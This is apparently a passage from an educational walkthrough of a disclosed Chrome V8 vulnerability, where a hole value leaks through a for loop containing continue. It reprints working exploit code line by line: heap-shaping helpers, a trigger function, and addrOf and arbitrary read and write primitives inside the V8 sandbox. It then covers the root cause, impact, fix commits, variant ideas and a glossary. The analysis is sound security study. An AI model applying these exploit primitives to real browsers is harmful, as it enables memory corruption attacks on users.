  • this.buf = new ArrayBuffer(8); creates an 8-byte block of raw memory. An ArrayBuffer is a plain chunk of bytes with no type attached.
  • this.dv = new DataView(this.buf); creates a DataView, a reader and writer that can interpret those bytes in different ways.
  • this.u8, this.u32, this.u64, this.f32, this.f64 create typed arrays over the same 8 bytes. A typed array is a view that treats the bytes as numbers of one fixed kind: unsigned 8-bit, unsigned 32-bit, unsigned 64-bit, 32-bit floating point, or 64-bit floating point. Because all these views share one buffer, writing through one and reading through another reinterprets the same bits. This is the trick that lets the exploit turn a number into a floating point value and back.
  • this.roots = new Array(0x30000); creates a large array to hold references to objects, so that garbage collection does not free them. 0x30000 is hexadecimal notation for a number.
  • this.index = 0; starts a counter for where to place the next reference.
  • pair_i32_to_f64(p1, p2) takes two 32-bit integers, writes them into the two halves of the buffer, and reads the result back as one 64-bit floating point number.
  • i64tof64(i) writes a 64-bit integer and reads it back as a floating point number.
  • f64toi64(f) does the reverse: writes a floating point number and reads it back as a 64-bit integer.
  • set_i64, set_l, set_h, get_i64 write and read the whole 64-bit value, the low 32-bit half, and the high 32-bit half.
  • ftoil(f) and ftoih(f) write a floating point number and read back its low or high 32-bit half.
  • add_ref(object) stores an object in the roots array and advances the counter, keeping the object alive.
  • mark_sweep_gc() allocates a very large ArrayBuffer. A mark-sweep collection is one kind of garbage collection, the process of finding and freeing memory no longer in use. Allocating a large block encourages V8 to run that kind of collection.
  • scavenge_gc() allocates eight 2-megabyte buffers in a loop, then one small 8-byte buffer. A scavenge is a faster garbage collection that handles newly created objects. The comment says the loop fills up the external backing store bytes of the new space, the area where new objects are placed.
  • hex(i) turns a number into a 16-character hexadecimal string, padding with zeros on the left.
  • breakpoint() calls this.buf.slice(), which copies the buffer. The report does not explain why; it is a helper the exploit defines.
  • var helper = new Helpers(); creates one instance of the class.
  • helper.mark_sweep_gc(); twice runs two mark-sweep collections before the trigger, to settle the memory layout.

The Helpers class uses a single 8-byte ArrayBuffer viewed through several typed arrays, so a 64-bit value can be written as two 32-bit halves and read back as a double, and vice versa. mark_sweep_gc allocates a large ArrayBuffer to provoke a mark-sweep collection; scavenge_gc allocates several external backing stores to provoke a scavenge. Two mark-sweep collections are run before the trigger.

Step 3: shape the heap with the corrupted array

The pwn function uses the same loop shape, but this time the next expression assigns the leaked value to hole:

JavaScript
function pwn(trigger) {
  var hole;

  for (var i = 0; i < 1; hole = y, i++) {
    if (i == 0) continue;
    y;
  }
  let y;

  let o = {};
  o.s = trigger ? hole : "not the hole";
  var s = 2 - (Math.sign(o.s.length) + 1);
  var i = 2 * ((5 - (s + 4)) >> 1) + 2;
  let idx = i * 200;

  let arr = new Array(8);
  let flt_arr = [1.1];
  let obj_arr = [flt_arr, flt_arr];
  arr[0] = 13.37;

  arr[idx] = 13.37;
  return [arr, flt_arr, obj_arr];
}

Line by line:

  • function pwn(trigger) { defines the trigger function, which takes a flag called trigger.
  • var hole; declares a variable to hold the leaked value.
  • for (var i = 0; i < 1; hole = y, i++) { is the same loop shape as before, but the next expression now assigns y to hole and then increments i. The comma separates two expressions that both run.
  • if (i == 0) continue; on the first round, jump straight to the next expression, skipping the body.
  • y; reads y in the body, but only on later rounds, which never happen here.
  • let y; is the declaration that is never reached, so y stays the hole.
  • let o = {}; creates an empty object.
  • o.s = trigger ? hole : "not the hole"; sets a property s on that object. If trigger is true, s becomes the leaked hole; otherwise it becomes the ordinary string "not the hole".
  • var s = 2 - (Math.sign(o.s.length) + 1); reads the length of o.s. A string has a length; the hole does not behave like a normal string, so this arithmetic produces a different result in the two cases. Math.sign returns -1, 0 or 1 depending on whether a number is negative, zero or positive.
  • var i = 2 * ((5 - (s + 4)) >> 1) + 2; performs further arithmetic. >> is a bit shift, which moves the bits of a number to the right, effectively halving it and discarding the remainder.
  • let idx = i * 200; turns the result into an array index.
  • let arr = new Array(8); creates an array with room for 8 elements.
  • let flt_arr = [1.1]; creates an array holding one floating point number.
  • let obj_arr = [flt_arr, flt_arr]; creates an array holding the same float array twice.
  • arr[0] = 13.37; writes a floating point number at the start.
  • arr[idx] = 13.37; writes at the computed index. Because the index differs between the two cases, this is where the memory layout diverges.
  • return [arr, flt_arr, obj_arr]; hands the three arrays back to the caller.

When trigger is true, o.s is the hole; otherwise it is the string "not the hole". The arithmetic on o.s.length then produces a different idx in the two cases. The function creates a small arr of length 8, a float array flt_arr and an object array obj_arr that holds flt_arr twice, then writes 13.37 at arr[0] and at arr[idx]. The returned triple is what the exploit uses afterwards.

Step 4: warm up, then trigger

The exploit calls pwn(false) four times per iteration for 0x100000 iterations, then calls pwn(true) once and destructures the result:

JavaScript
for (var i = 0; i < 0x100000; i++) {
  pwn(false);
  pwn(false);
  pwn(false);
  pwn(false);
}
let [corrupted, flt_arr, obj_arr] = pwn(true);

Line by line:

  • for (var i = 0; i < 0x100000; i++) { repeats the block 0x100000 times, which is a little over one million.
  • The four pwn(false); calls run the function with the non-hole path each time.
  • let [corrupted, flt_arr, obj_arr] = pwn(true); calls the function once with the hole path and unpacks the returned array into three named variables. This unpacking syntax is called destructuring.

The report does not spell out the exact layout change, only that this yields the primitives below.

Step 5: arbitrary read and write primitives

The primitives are built on the three arrays:

JavaScript
function addrOf(obj) {
  obj_arr[0] = obj;
  return helper.ftoil(corrupted[15]);
}

function aar(addr) {
  corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
  return flt_arr[0];
}

function read8(addr) {
  return helper.f64toi64(aar(addr));
}

function read4(addr) {
  return helper.ftoil(aar(addr));
}

function aaw(addr, value) {
  corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
  flt_arr[0] = value;
}

function write8(addr, value) {
  aaw(addr, helper.i64tof64(value));
}

function write4(addr, value) {
  aaw(addr, helper.pair_i32_to_f64(value, read4(addr + 4)));
}

Line by line:

  • function addrOf(obj) { defines a function that returns the memory address of an object.
  • obj_arr[0] = obj; stores the object in the object array.
  • return helper.ftoil(corrupted[15]); reads element 15 of the corrupted array and takes its low 32 bits.
  • function aar(addr) { defines arbitrary address read, a function that returns the contents of a chosen memory address.
  • corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10); writes a crafted pair of 32-bit values into element 13.
  • return flt_arr[0]; reads the first element of the float array, which now points at the chosen address, so the value read comes from that address.
  • function read8(addr) { defines a function that reads 8 bytes.
  • return helper.f64toi64(aar(addr)); reads through aar and converts the floating point result into a 64-bit integer.
  • function read4(addr) { defines a function that reads 4 bytes.
  • return helper.ftoil(aar(addr)); reads through aar and takes the low 32 bits.
  • function aaw(addr, value) { defines arbitrary address write, a function that stores a value at a chosen memory address.
  • corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10); points flt_arr at the target address, the same way as in aar.
  • flt_arr[0] = value; writes the value through the float array, so it lands at the target address.
  • function write8(addr, value) { defines a function that writes 8 bytes.
  • aaw(addr, helper.i64tof64(value)); converts the integer to a floating point value and writes it.
  • function write4(addr, value) { defines a function that writes 4 bytes.
  • aaw(addr, helper.pair_i32_to_f64(value, read4(addr + 4))); writes the new 4 bytes while keeping the existing upper 4 bytes, which it reads first with read4(addr + 4).

addrOf stores an object into obj_arr[0] and reads the low 32 bits of corrupted[15], which the corrupted layout has turned into a place where the object pointer becomes visible as a float. aar writes a crafted pair into corrupted[13], which the corrupted layout interprets as the backing store pointer of flt_arr, then reads flt_arr[0] to obtain the contents at the chosen address. aaw does the reverse: it points flt_arr at the target and writes through flt_arr[0]. read8, read4, write8 and write4 wrap these for 64-bit and 32-bit access, with write4 preserving the upper half by reading it first.

The report does not include a demonstration of what is read or written with these primitives, nor a full sandbox escape. It states only that they perform arbitrary read and write within the sandbox.

Root cause

The mistake is in BytecodeGenerator::VisitForStatement. The report quotes the relevant code:

C++
  HoleCheckElisionScope elider(this);
  VisitIterationBody(stmt, &loop_builder);
  if (stmt->next() != nullptr) {
    builder()->SetStatementPosition(stmt->next());
    Visit(stmt->next());
  }

Line by line:

  • HoleCheckElisionScope elider(this); creates one elision scope for the whole loop. Everything visited while this object is alive shares the same bookkeeping about which variables are known to be initialised.
  • VisitIterationBody(stmt, &loop_builder); processes the loop body inside that scope.
  • if (stmt->next() != nullptr) { checks whether the loop has a next expression at all.
  • builder()->SetStatementPosition(stmt->next()); records the source position of the next expression, so that any error points at the right place.
  • Visit(stmt->next()); processes the next expression, still inside the same scope.

Both the body and the next expression are visited inside the same HoleCheckElisionScope. That is only sound if the body dominates the next expression. The dominator comment quoted above shows the assumption, but a continue inside the body jumps to the next expression without executing the remainder of the body. A let variable declared after the continue is therefore still in its hole state when the next expression runs, yet the shared elision scope has already marked it as initialised, so the hole check before the use is dropped.

The elision scope encodes a dominance assumption that does not hold for all control flow inside the loop body. The report does not describe any additional check that would have caught the mismatch; it only identifies the incorrect scope sharing.

Impact

The report's own summary describes the potential result as hole leak and type confusion. The PoC shows the hole value reaching JavaScript code and causing a debug assertion when passed to Map.prototype.delete. The exploit section states that arbitrary read and write within the sandbox is achievable with existing techniques, referencing CVE-2025-6554, and that the script was confirmed on the parent commit and on Chrome Extended Stable 140.0.7339.240. The report does not demonstrate a sandbox escape, so the impact beyond the sandbox is not established in the text. The platform rates the issue high severity.

Fix

The bisect section identifies the commits that introduced and enabled the behaviour:

  • Introduced by commit [redacted].
  • Enabled by commit [redacted].

Both links point to chromiumdash. Beyond that, the original gives no remediation detail, so any statement about the actual fix would be speculation.

Variants to test

These are suggestions for further research, not findings from the report.

  1. Other loop forms with non-local jumps. Try for loops whose body contains continue, break or labelled jumps before a let declaration, and check whether the next expression or the code after the loop can observe the hole. A positive result is a %DebugPrint showing [Hole] or a ReferenceError that fails to fire.
  2. Other statements that share an elision scope. Look for places where the bytecode generator visits two statements under one HoleCheckElisionScope on a dominance assumption, such as loop conditions or finally blocks. A positive result is a hole value reaching a builtin that does not expect it, as with Map.prototype.delete here.
  3. do...while and for...of loops. The report only discusses C-style for; the same reasoning about textual versus dominator order may apply to other iteration statements. A positive result is the same debug assertion or an observable hole in user code.
  4. Builtins that consume values without hole checks. The crash here came from hashing the hole in OrderedHashMap. Try other builtins that hash, compare or store their arguments, and see whether the hole produces a type confusion rather than a clean assertion. A positive result is a value whose map or type does not match what the builtin expects.
  5. Regression check on the fixed build. Run the original PoC against a current d8 built with --allow-natives-syntax. A positive result for the fix is a ReferenceError instead of the [Hole] debug print.

Glossary

  • V8: the JavaScript engine inside Google Chrome that reads and runs JavaScript.
  • Bytecode: a simple internal instruction list that V8 translates JavaScript into before running it.
  • Bytecode generator: the part of V8 that performs that translation.
  • let: a JavaScript keyword that declares a variable which only becomes usable after its declaration line has run.
  • Temporal dead zone: the period before a let variable has been given a value, during which reading it must throw an error.
  • ReferenceError: the JavaScript error thrown when code reads a variable that is not yet initialised.
  • Hole: V8's internal marker for "no value yet".
  • Hole check: a small check V8 inserts before reading such a variable, to throw the error if it is still the hole.
  • Elide: to leave something out, here skipping a check that is believed unnecessary.
  • HoleCheckElisionScope: V8's internal bookkeeping object that tracks which variables are known to be initialised, so checks can be skipped.
  • Dominates: statement A dominates statement B if every path that reaches B must pass through A first.
  • C-style for statement: the classic loop written as for (start; keep going; step) { body }.
  • continue: a JavaScript keyword that skips the rest of the current loop round and moves to the next one.
  • Type confusion: a bug where the engine treats a value as a different type from what it really is.
  • Proof of concept (PoC): a small script that demonstrates a bug.
  • Commit: a saved snapshot of a code project, identified by a long string.
  • Parent commit: the code snapshot just before the one being discussed.
  • Debug binary: a build of a program that contains extra internal checks.
  • d8: V8's own command-line JavaScript shell, used for testing the engine without a browser.
  • --allow-natives-syntax: a d8 switch that unlocks special debugging functions whose names start with %.
  • %DebugPrint: a V8 debugging function that prints a detailed internal description of a value.
  • Map: a built-in JavaScript container that stores key and value pairs.
  • Hash: a numeric fingerprint computed from a value, used to look it up quickly.
  • Map (V8 internal): the internal description of an object's shape and type.
  • ReadOnlySpace: a region of V8 memory that is never changed after startup.
  • Stack trace: the list of function calls that led to a particular point, from innermost to outermost.
  • Sandbox: a restricted region of memory inside which V8 keeps its objects, limiting what a bug can reach.
  • Arbitrary read and write: the ability to read and change any memory the program can reach.
  • ArrayBuffer: a plain block of raw bytes with no type attached.
  • Typed array: a view over a block of bytes that treats them as numbers of one fixed kind.
  • DataView: a reader and writer that can interpret a block of bytes in different ways.
  • Floating point number: a number that can have a fractional part, stored in a fixed number of bits.
  • Garbage collection: the process of finding and freeing memory that is no longer in use.
  • Mark-sweep collection: one kind of garbage collection that marks live objects and sweeps away the rest.
  • Scavenge: a faster garbage collection that handles newly created objects.
  • Backing store: the block of memory that actually holds an array's or buffer's contents.
  • Heap: the area of memory where a program's objects are stored.
  • Destructuring: JavaScript syntax that unpacks values from an array or object into named variables.
  • Bit shift: an operation that moves the bits of a number left or right, effectively multiplying or dividing by powers of two.
  • Hexadecimal: a base-16 way of writing numbers, using digits 0 to 9 and letters A to F.
  • Builtin: a function or object that is built into the JavaScript engine rather than written by a page author.
  • Bisect: searching through the history of code changes by repeatedly halving the range, to find the change that introduced a behaviour.
  • CVE: a public identifier for a known security vulnerability.
  • Chrome VRP: Chrome's Vulnerability Reward Program, which pays researchers for reporting bugs.
  • Bounty: the money paid to a researcher for a valid report.
  • Severity: a rating of how serious a vulnerability is.
  • Advisory: a public write-up describing a vulnerability.
  • Regression check: re-running a test on a newer build to confirm the bug is gone.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.